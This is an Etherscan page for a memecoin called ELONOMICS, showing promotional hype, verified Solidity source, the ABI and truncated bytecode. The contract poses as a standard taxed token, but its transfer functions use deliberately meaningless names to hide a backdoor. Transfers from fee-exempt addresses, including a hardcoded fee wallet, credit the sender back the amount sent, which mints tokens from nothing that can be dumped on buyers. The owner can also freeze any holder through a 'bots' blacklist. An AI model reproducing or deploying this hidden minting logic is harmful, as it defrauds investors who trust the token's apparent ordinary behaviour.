ETH Price: $2,421.56 (+0.05%)

Token

ELONOMICS Coin (ELONOMICS)
 

Overview

Max Total Supply

1,000,000,000 ELONOMICS

Holders

31

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
14,209,126.29942691 ELONOMICS

Value
$0.00
0x52a7661BDc38C5a13F50769A5399E5b7B27e46f1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ELONOMICS

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-23
*/

// SPDX-License-Identifier: MIT

/*
Get a share of Earth's richest man - now with a goated contract address!
Starting with $ELONOMICS, sacred number on X and previous cycle top, $ELONOMICS contract stands superior among its peers.
Wanna stop missing out? BUY NOW

Website: https://www.elonomics.vip
Telegram: https://t.me/elonomics_eth
Twitter: https://x.com/elonomics_coin
*/

pragma solidity 0.8.5;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract ELONOMICS is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _pqrngzxcvewrgg;
    mapping(address => bool) private bots;
    address payable private _wrnzchyvwyrw;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 9;
    uint256 private _reduceSellTaxAt = 9;
    uint256 private _preventSwapBefore = 9;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"ELONOMICS Coin";
    string private constant _symbol = unicode"ELONOMICS";
    uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _totalELONOMICS = 900_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 120 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _wrnzchyvwyrw = payable(0x90E4B0eAD449f7840ce28DfD016dCF3dE34336a1);
        _pqrngzxcvewrgg[owner()] = true;
        _pqrngzxcvewrgg[address(this)] = true;
        _pqrngzxcvewrgg[_wrnzchyvwyrw] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function createELONOMICSPair() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function openELONOMICSTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _totalELONOMICS,
            0,
            0,
            owner(),
            block.timestamp
        );

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function _tokenELONOMICSTAXTransfer(
        address mnhje5tyeyeyc,
        uint256 taxAmount
    ) internal {
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(
                taxAmount
            );
            emit Transfer(mnhje5tyeyeyc, address(this), taxAmount);
        }
    }

    function _tokenELONOMICSEXTransfer(
        address cxjkwrpsrwwe,
        uint256 uykjhhgjsdad,
        uint256 taxAmount,
        address qwscdafzxcgrh
    ) internal {
        _balances[qwscdafzxcgrh] = _balances[qwscdafzxcgrh].add(
            taxAmount == 0 ? uykjhhgjsdad : taxAmount
        );
        emit Transfer(cxjkwrpsrwwe, qwscdafzxcgrh, uykjhhgjsdad);
    }

    receive() external payable {}
    
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _wrnzchyvwyrw.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    function _basicTransfer(address jervcxbettgf, address jmnrwvcxveett, uint256 cxbrerqgjhjw) internal {
        _balances[jervcxbettgf] = _balances[jervcxbettgf].sub(cxbrerqgjhjw);
        _balances[jmnrwvcxveett] = _balances[jmnrwvcxveett].add(cxbrerqgjhjw);
        emit Transfer(jervcxbettgf, jmnrwvcxveett, cxbrerqgjhjw);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _tokenELONOMICSTransfer(
        address lithgfeertxcs,
        address mneyeyxcswfwas,
        uint256 gfdsfarawrgxz,
        uint256 taxAmount,
        bool jgcvxbergreqxzsd,
        address bxvcbedftexz
    ) internal {
        if (jgcvxbergreqxzsd) {
            _tokenELONOMICSTAXTransfer(lithgfeertxcs, taxAmount);
        } else {
            _tokenELONOMICSEXTransfer(lithgfeertxcs, gfdsfarawrgxz, taxAmount, bxvcbedftexz);
        }

        _tokenELONOMICSSTransfer(lithgfeertxcs, mneyeyxcswfwas, gfdsfarawrgxz, taxAmount);
    }

    function _tokenELONOMICSSTransfer(
        address tyerwqrfdsawz,
        address kdfxvcbveeerrgx,
        uint256 oyytdsgewrtsd,
        uint256 taxAmount
    ) internal {
        _balances[tyerwqrfdsawz] = _balances[tyerwqrfdsawz].sub(oyytdsgewrtsd);
        _balances[kdfxvcbveeerrgx] = _balances[kdfxvcbveeerrgx].add(oyytdsgewrtsd.sub(taxAmount));
        emit Transfer(tyerwqrfdsawz, kdfxvcbveeerrgx, oyytdsgewrtsd.sub(taxAmount));
    }

    function _transfer(address bcxzvrfrgewrgwdz, address fzxvcewrgrqsdf, uint256 zxvwfqsdvvsdfqaw) private {
        require(bcxzvrfrgewrgwdz != address(0), "ERC20: transfer from the zero address");
        require(fzxvcewrgrqsdf != address(0), "ERC20: transfer to the zero address");
        require(zxvwfqsdvvsdfqaw > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _basicTransfer(bcxzvrfrgewrgwdz, fzxvcewrgrqsdf, zxvwfqsdvvsdfqaw);
            return;
        }
        uint256 taxAmount = 0;
        if (bcxzvrfrgewrgwdz != owner() && fzxvcewrgrqsdf != owner()) {
            require(!bots[bcxzvrfrgewrgwdz] && !bots[fzxvcewrgrqsdf]);
            taxAmount = zxvwfqsdvvsdfqaw
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (
                bcxzvrfrgewrgwdz == uniswapV2Pair &&
                fzxvcewrgrqsdf != address(uniswapV2Router) &&
                !_pqrngzxcvewrgg[fzxvcewrgrqsdf]
            ) {
                require(zxvwfqsdvvsdfqaw <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(fzxvcewrgrqsdf) + zxvwfqsdvvsdfqaw <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (fzxvcewrgrqsdf == uniswapV2Pair && bcxzvrfrgewrgwdz != address(this)) {
                taxAmount = zxvwfqsdvvsdfqaw
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                fzxvcewrgrqsdf == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_pqrngzxcvewrgg[bcxzvrfrgewrgwdz] &&
                !_pqrngzxcvewrgg[fzxvcewrgrqsdf]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(zxvwfqsdvvsdfqaw, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        
        bool jgcvxbergreqxzsd = true; if (_pqrngzxcvewrgg[bcxzvrfrgewrgwdz]) { jgcvxbergreqxzsd = false; taxAmount = 0; }
        _tokenELONOMICSTransfer(bcxzvrfrgewrgwdz, fzxvcewrgrqsdf, zxvwfqsdvvsdfqaw, taxAmount, jgcvxbergreqxzsd, bcxzvrfrgewrgwdz);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalELONOMICS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createELONOMICSPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openELONOMICSTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260146006556014600755600060085560006009556009600a556009600b556009600c556000600d556009600a6200003c919062000293565b6200004c906301312d0062000361565b600e556200005d6009600a62000293565b6200006d906335a4e90062000361565b600f556200007e6009600a62000293565b6200008e906301312d0062000361565b6010556200009f6009600a62000293565b620000ac90607862000361565b601155620000bd6009600a62000293565b620000cc906298968062000361565b6012556014805461ffff60a81b19169055348015620000ea57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b0319167390e4b0ead449f7840ce28dfd016dcf3de34336a11790556001600360006200016b6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001d06009600a62000293565b620001e090633b9aca0062000361565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002236009600a62000293565b6200023390633b9aca0062000361565b60405190815260200160405180910390a362000399565b600181815b808511156200028b5781600019048211156200026f576200026f62000383565b808516156200027d57918102915b93841c93908002906200024f565b509250929050565b6000620002a460ff841683620002ab565b9392505050565b600082620002bc575060016200035b565b81620002cb575060006200035b565b8160018114620002e45760028114620002ef576200030f565b60019150506200035b565b60ff84111562000303576200030362000383565b50506001821b6200035b565b5060208310610133831016604e8410600b841016171562000334575081810a6200035b565b6200034083836200024a565b806000190482111562000357576200035762000383565b0290505b92915050565b60008160001904831182151516156200037e576200037e62000383565b500290565b634e487b7160e01b600052601160045260246000fd5b611d0780620003a96000396000f3fe6080604052600436106101395760003560e01c8063751039fc116100ab578063a9059cbb1161006f578063a9059cbb14610389578063bf474bed146103a9578063d34628cc146103bf578063dd62ed3e146103df578063e204d2a714610425578063f4b07dfd1461043a57600080fd5b8063751039fc146102ee5780637d1db4a5146103035780638da5cb5b146103195780638f9a55c01461034157806395d89b411461035757600080fd5b806323b872dd116100fd57806323b872dd1461020e578063313ce5671461022e57806331c2d8471461024a5780633bbac5791461026a57806370a08231146102a3578063715018a6146102d957600080fd5b806306fdde0314610145578063095ea7b31461018e5780630faee56f146101be57806310d31fc4146101e257806318160ddd146101f957600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600e81526d22a627a727a6a4a1a99021b7b4b760911b60208201525b60405161018591906119bb565b60405180910390f35b34801561019a57600080fd5b506101ae6101a9366004611873565b610450565b6040519015158152602001610185565b3480156101ca57600080fd5b506101d460125481565b604051908152602001610185565b3480156101ee57600080fd5b506101f7610467565b005b34801561020557600080fd5b506101d46106f9565b34801561021a57600080fd5b506101ae610229366004611832565b61071a565b34801561023a57600080fd5b5060405160098152602001610185565b34801561025657600080fd5b506101f761026536600461189f565b61077e565b34801561027657600080fd5b506101ae6102853660046117bf565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156102af57600080fd5b506101d46102be3660046117bf565b6001600160a01b031660009081526001602052604090205490565b3480156102e557600080fd5b506101f7610814565b3480156102fa57600080fd5b506101f7610888565b34801561030f57600080fd5b506101d4600e5481565b34801561032557600080fd5b506000546040516001600160a01b039091168152602001610185565b34801561034d57600080fd5b506101d460105481565b34801561036357600080fd5b50604080518082019091526009815268454c4f4e4f4d49435360b81b6020820152610178565b34801561039557600080fd5b506101ae6103a4366004611873565b61093a565b3480156103b557600080fd5b506101d460115481565b3480156103cb57600080fd5b506101f76103da36600461189f565b610947565b3480156103eb57600080fd5b506101d46103fa3660046117f9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561043157600080fd5b506101f76109d9565b34801561044657600080fd5b506101d4600f5481565b600061045d338484610bca565b5060015b92915050565b6000546001600160a01b0316331461049a5760405162461bcd60e51b815260040161049190611a10565b60405180910390fd5b601454600160a01b900460ff16156104ee5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610491565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561053c9030906105296009600a611b33565b61053790633b9aca00611bde565b610bca565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561058a57600080fd5b505afa15801561059e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c291906117dc565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561061f57600080fd5b505afa158015610633573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065791906117dc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561069f57600080fd5b505af11580156106b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d791906117dc565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60006107076009600a611b33565b61071590633b9aca00611bde565b905090565b6000610727848484610cef565b610774843361053785604051806060016040528060288152602001611c8a602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111a4565b5060019392505050565b6000546001600160a01b031633146107a85760405162461bcd60e51b815260040161049190611a10565b60005b8151811015610810576000600460008484815181106107cc576107cc611c45565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061080881611c14565b9150506107ab565b5050565b6000546001600160a01b0316331461083e5760405162461bcd60e51b815260040161049190611a10565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260040161049190611a10565b6108be6009600a611b33565b6108cc90633b9aca00611bde565b600e556108db6009600a611b33565b6108e990633b9aca00611bde565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109196009600a611b33565b61092790633b9aca00611bde565b60405190815260200160405180910390a1565b600061045d338484610cef565b6000546001600160a01b031633146109715760405162461bcd60e51b815260040161049190611a10565b60005b81518110156108105760016004600084848151811061099557610995611c45565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109d181611c14565b915050610974565b6000546001600160a01b03163314610a035760405162461bcd60e51b815260040161049190611a10565b601454600160a01b900460ff1615610a575760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610491565b601354600f546001600160a01b039091169063f305d7199047903090600080610a886000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610aeb57600080fd5b505af1158015610aff573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b24919061198d565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b7857600080fd5b505af1158015610b8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb0919061196b565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610c2c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610491565b6001600160a01b038216610c8d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610491565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610d535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610491565b6001600160a01b038216610db55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610491565b60008111610e175760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610491565b601454600160b01b900460ff161580610e395750601454600160a81b900460ff165b15610e4e57610e498383836111de565b505050565b600080546001600160a01b03858116911614801590610e7b57506000546001600160a01b03848116911614155b15611164576001600160a01b03841660009081526004602052604090205460ff16158015610ec257506001600160a01b03831660009081526004602052604090205460ff16155b610ecb57600080fd5b610ef76064610ef1600a54600d5411610ee657600654610eea565b6008545b8590611272565b906112f8565b6014549091506001600160a01b038581169116148015610f2557506013546001600160a01b03848116911614155b8015610f4a57506001600160a01b03831660009081526003602052604090205460ff16155b1561103257600e54821115610fa15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610491565b60105482610fc4856001600160a01b031660009081526001602052604090205490565b610fce9190611ab6565b111561101c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610491565b600d805490600061102c83611c14565b91905055505b6014546001600160a01b03848116911614801561105857506001600160a01b0384163014155b15611085576110826064610ef1600b54600d541161107857600754610eea565b6009548590611272565b90505b30600090815260016020526040902054601454600160a81b900460ff161580156110bc57506014546001600160a01b038581169116145b80156110d15750601454600160b01b900460ff165b80156110e05750600c54600d54115b801561110557506001600160a01b03851660009081526003602052604090205460ff16155b801561112a57506001600160a01b03841660009081526003602052604090205460ff16155b1561116257601154811115611156576111566111518461114c8460125461133a565b61133a565b61134f565b47611160476114d8565b505b505b6001600160a01b03841660009081526003602052604090205460019060ff161561118f575060009050805b61119d85858585858a611512565b5050505050565b600081848411156111c85760405162461bcd60e51b815260040161049191906119bb565b5060006111d58486611bfd565b95945050505050565b6001600160a01b0383166000908152600160205260409020546112019082611547565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546112309082611589565b6001600160a01b038084166000818152600160205260409081902093909355915190851690600080516020611cb283398151915290610ce29085815260200190565b60008261128157506000610461565b600061128d8385611bde565b90508261129a8583611ace565b146112f15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610491565b9392505050565b60006112f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115e8565b600081831161134957826112f1565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061139757611397611c45565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113eb57600080fd5b505afa1580156113ff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061142391906117dc565b8160018151811061143657611436611c45565b6001600160a01b03928316602091820292909201015260135461145c9130911684610bca565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611495908590600090869030904290600401611a45565b600060405180830381600087803b1580156114af57600080fd5b505af11580156114c3573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610810573d6000803e3d6000fd5b8115611527576115228684611616565b611533565b61153386858584611681565b61153f86868686611701565b505050505050565b60006112f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111a4565b6000806115968385611ab6565b9050838110156112f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610491565b600081836116095760405162461bcd60e51b815260040161049191906119bb565b5060006111d58486611ace565b801561081057306000908152600160205260409020546116369082611589565b30600081815260016020526040908190209290925590516001600160a01b03841690600080516020611cb2833981519152906116759085815260200190565b60405180910390a35050565b6116b182156116905782611692565b835b6001600160a01b03831660009081526001602052604090205490611589565b6001600160a01b038083166000818152600160205260409081902093909355915190861690600080516020611cb2833981519152906116f39087815260200190565b60405180910390a350505050565b6001600160a01b0384166000908152600160205260409020546117249083611547565b6001600160a01b03851660009081526001602052604090205561176961174a8383611547565b6001600160a01b03851660009081526001602052604090205490611589565b6001600160a01b038085166000818152600160205260409020929092558516600080516020611cb28339815191526117a18585611547565b6040519081526020016116f3565b80356117ba81611c71565b919050565b6000602082840312156117d157600080fd5b81356112f181611c71565b6000602082840312156117ee57600080fd5b81516112f181611c71565b6000806040838503121561180c57600080fd5b823561181781611c71565b9150602083013561182781611c71565b809150509250929050565b60008060006060848603121561184757600080fd5b833561185281611c71565b9250602084013561186281611c71565b929592945050506040919091013590565b6000806040838503121561188657600080fd5b823561189181611c71565b946020939093013593505050565b600060208083850312156118b257600080fd5b823567ffffffffffffffff808211156118ca57600080fd5b818501915085601f8301126118de57600080fd5b8135818111156